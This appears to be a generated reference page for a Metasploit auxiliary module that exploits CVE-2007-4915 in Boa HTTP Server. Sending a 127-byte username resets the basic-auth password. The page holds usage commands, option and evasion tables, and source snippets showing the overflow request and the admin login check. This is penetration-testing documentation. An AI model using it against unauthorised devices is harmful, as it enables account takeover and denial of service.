Intersil (Boa) HTTPd Basic Authentication Password Reset - Metasploit
This page contains detailed information about how to use the auxiliary/admin/http/intersil_pass_reset metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Intersil (Boa) HTTPd Basic Authentication Password Reset
Module: auxiliary/admin/http/intersil_pass_reset
Source code: modules/auxiliary/admin/http/intersil_pass_reset.rb
Disclosure date: 2007-09-10
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2007-4915
The Intersil extension in the Boa HTTP Server 0.93.x - 0.94.11 allows basic authentication bypass when the user string is greater than 127 bytes long. The long string causes the password to be overwritten in memory, which enables the attacker to reset the password. In addition, the malicious attempt also may cause a denial-of-service condition. Please note that you must set the request URI to the directory that requires basic authentication in order to work properly.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/http/intersil_pass_reset
msf auxiliary(intersil_pass_reset) > show targets
... a list of targets ...
msf auxiliary(intersil_pass_reset) > set TARGET target-id
msf auxiliary(intersil_pass_reset) > show options
... show and set options ...
msf auxiliary(intersil_pass_reset) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the admin/http/intersil_pass_reset auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/http/intersil_pass_reset
msf6 auxiliary(admin/http/intersil_pass_reset) > show info
Name: Intersil (Boa) HTTPd Basic Authentication Password Reset
Module: auxiliary/admin/http/intersil_pass_reset
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2007-09-10
Provided by:
Luca "ikki" Carettoni <[email protected]>
Claudio "paper" Merloni <[email protected]>
Max Dietz <[email protected]>
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD pass yes The password to set
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The request URI
VHOST no HTTP server virtual host
Description:
The Intersil extension in the Boa HTTP Server 0.93.x - 0.94.11
allows basic authentication bypass when the user string is greater
than 127 bytes long. The long string causes the password to be
overwritten in memory, which enables the attacker to reset the
password. In addition, the malicious attempt also may cause a
denial-of-service condition. Please note that you must set the
request URI to the directory that requires basic authentication in
order to work properly.
References:
https://nvd.nist.gov/vuln/detail/CVE-2007-4915
http://www.securityfocus.com/bid/25676
https://packetstormsecurity.com/files/59347
Module Options
This is a complete list of options available in the admin/http/intersil_pass_reset auxiliary module:
msf6 auxiliary(admin/http/intersil_pass_reset) > show options
Module options (auxiliary/admin/http/intersil_pass_reset):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD pass yes The password to set
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The request URI
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the admin/http/intersil_pass_reset auxiliary module:
msf6 auxiliary(admin/http/intersil_pass_reset) > show advanced
Module advanced options (auxiliary/admin/http/intersil_pass_reset):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/http/intersil_pass_reset module can do:
msf6 auxiliary(admin/http/intersil_pass_reset) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/http/intersil_pass_reset auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/http/intersil_pass_reset) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Not a Boa Server!
Here is a relevant code snippet related to the "Not a Boa Server!" error message:
53: vprint_status("Boa Version Detected: #{m[1]}")
54: return Exploit::CheckCode::Safe if (m[1][0].ord-48>0) # boa server wrong version
55: return Exploit::CheckCode::Safe if (m[1][3].ord-48>4)
56: return Exploit::CheckCode::Vulnerable
57: else
58: vprint_status("Not a Boa Server!")
59: return Exploit::CheckCode::Safe # not a boa server
60: end
61:
62: rescue Rex::ConnectionRefused
63: print_error("Connection refused by server.")
Connection refused by server.
Here is a relevant code snippet related to the "Connection refused by server." error message:
58: vprint_status("Not a Boa Server!")
59: return Exploit::CheckCode::Safe # not a boa server
60: end
61:
62: rescue Rex::ConnectionRefused
63: print_error("Connection refused by server.")
64: return Exploit::CheckCode::Safe
65: end
66: end
67:
68: def run
The server may be down
Here is a relevant code snippet related to the "The server may be down" error message:
76: 'method'=>'GET',
77: 'authorization' => basic_auth(Rex::Text.rand_text_alpha(127),datastore['PASSWORD'])
78: })
79:
80: if res.nil?
81: print_error("The server may be down")
82: return
83: elsif res and res.code != 401
84: print_status("#{uri} does not have basic authentication enabled")
85: return
86: end
<URI> does not have basic authentication enabled
Here is a relevant code snippet related to the "<URI> does not have basic authentication enabled" error message:
79:
80: if res.nil?
81: print_error("The server may be down")
82: return
83: elsif res and res.code != 401
84: print_status("#{uri} does not have basic authentication enabled")
85: return
86: end
87:
88: print_status("Server still operational. Checking to see if password has been overwritten")
89: res = send_request_cgi({
Server timedout, will not continue
Here is a relevant code snippet related to the "Server timedout, will not continue" error message:
91: 'method'=> 'GET',
92: 'authorization' => basic_auth('admin', datastore['PASSWORD'])
93: })
94:
95: if not res
96: print_error("Server timedout, will not continue")
97: return
98: end
99:
100: case res.code
101: when 200
Access forbidden. The password reset attempt did not work
Here is a relevant code snippet related to the "Access forbidden. The password reset attempt did not work" error message:
99:
100: case res.code
101: when 200
102: print_good("Password reset successful with admin:#{datastore['PASSWORD']}")
103: when 401
104: print_error("Access forbidden. The password reset attempt did not work")
105: else
106: print_status("Unexpected response: Code #{res.code} encountered")
107: end
108:
109: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10276 Merged Pull Request: Update missing CVE references for auxiliary modules
- #8888 Merged Pull Request: spelling/grammar fixes part 1
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #6396 Merged Pull Request: Fix PACKETSTORM warnings; improve msftidy to catch more
- #2896 Merged Pull Request: Update check() in auxiliary
- #2718 Merged Pull Request: Remove @peer for modules that use HttpClient
- #2525 Merged Pull Request: Change module boilerplate
- #1047 Merged Pull Request: Set normalize uri on modules
- #494 Merged Pull Request: Add Intersil HTTP Basic auth pass reset (originally #453)
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/2wire/xslt_password_reset
- auxiliary/admin/chromecast/chromecast_reset
- auxiliary/admin/http/cfme_manageiq_evm_pass_reset
- auxiliary/admin/http/mantisbt_password_reset
- auxiliary/admin/http/netgear_r6700_pass_reset
- auxiliary/admin/http/nuuo_nvrmini_reset
- auxiliary/admin/http/rails_devise_pass_reset
- auxiliary/scanner/http/bmc_trackit_passwd_reset
- auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921
- auxiliary/admin/http/linksys_tmunblock_admin_reset_bof
- auxiliary/scanner/http/epmp1000_reset_pass
- post/hardware/automotive/ecu_hard_reset
- auxiliary/admin/http/allegro_rompager_auth_bypass
- auxiliary/admin/http/dlink_dir_645_password_extractor
- auxiliary/admin/http/dlink_dsl320b_password_extractor
- auxiliary/admin/http/grafana_auth_bypass
- auxiliary/admin/http/iis_auth_bypass
- auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass
- auxiliary/admin/http/netgear_soap_password_extractor
- auxiliary/admin/http/netgear_wnr2000_pass_recovery
- auxiliary/admin/http/zyxel_admin_password_extractor
- auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass
- auxiliary/admin/networking/cisco_dcnm_auth_bypass
- auxiliary/admin/networking/cisco_secure_acs_bypass
- auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass
- auxiliary/admin/scada/modicon_password_recovery
- auxiliary/admin/vnc/realvnc_41_bypass
- auxiliary/admin/vxworks/apple_airport_extreme_password
Authors
- Luca "ikki" Carettoni <luca.carettoni[at]securenetwork.it>
- Claudio "paper" Merloni <claudio.merloni[at]securenetwork.it>
- Max Dietz <maxwell.r.dietz[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.